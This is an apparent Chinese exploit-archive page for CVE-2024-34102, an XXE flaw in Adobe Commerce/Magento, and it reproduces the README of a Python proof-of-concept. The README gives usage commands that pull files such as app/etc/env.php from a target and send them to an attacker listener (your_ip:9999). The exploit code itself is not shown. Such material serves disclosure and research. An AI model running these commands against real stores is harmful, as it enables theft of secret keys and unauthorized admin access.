POC详情: 2570e7eff1192e1e193b3f64cce622bd465b00ad

来源
关联漏洞
标题: Adobe Commerce 代码问题漏洞 (CVE-2024-34102)
描述:Adobe Commerce是美国奥多比(Adobe)公司的一种面向商家和品牌的全球领先的数字商务解决方案。 Adobe Commerce 存在代码问题漏洞,该漏洞源于受到不正确的 XML 外部实体引用 ( XXE ) 限制漏洞的影响,该漏洞可能导致任意代码执行。
介绍
<div align="center">

 #  🇮🇱  **#BringThemHome #NeverAgainIsNow**   🇮🇱

**We demand the safe return of all citizens who have been taken hostage by the terrorist group Hamas. We will not rest until every hostage is released and returns home safely. You can help bring them back home.
https://stories.bringthemhomenow.net/**

</div>

# CVE-2024-34102 PoC 🚀

This repository contains a proof-of-concept (PoC) exploit for the critical XML entity injection vulnerability (CVE-2024-34102) in Magento. This vulnerability allows for the exfiltration of sensitive files, which can then be leveraged to gain unauthorized access to Magento's administrative functionalities. This exploit is designed for educational purposes and should be used responsibly.

## Overview 📖

Magento is one of the most popular e-commerce solutions used globally. In June 2024, a critical pre-authentication XML entity injection issue was discovered, identified as CVE-2024-34102. This vulnerability can lead to severe consequences, including the exfiltration of the `app/etc/env.php` file from Magento, which contains cryptographic keys used for signing JWTs.

## Features 🌟

- Exfiltrate sensitive files from a vulnerable Magento instance.
- Simple and straightforward usage.
- Educational demonstration of XML entity injection.

## Usage 🚀

### Prerequisites

- Python 3.x
- `requests` library (`pip install requests`)

### Running the Exploit

1. Clone the repository:
    ```sh
    git clone https://github.com/yourusername/CVE-2024-34102-exploit.git
    cd CVE-2024-34102-exploit
    ```

2. Execute the script with the necessary arguments:
    ```sh
    python cve_2024_34102_exploit.py --target-url http://example.com --target-file /etc/hosts --exfil-url your_ip:9999
    ```

### Command-Line Arguments

- `--target-url`: The URL of the target Magento instance.
- `--target-file`: The file path on the target server to exfiltrate.
- `--exfil-url`: The URL to receive the exfiltrated data.

## Example 🌐

```sh
python cve_2024_34102_exploit.py --target-url http://example.com --target-file /etc/hosts --exfil-url your_ip:9999
文件快照

[4.0K] /data/pocs/2570e7eff1192e1e193b3f64cce622bd465b00ad ├── [2.1K] PoC.py └── [2.1K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。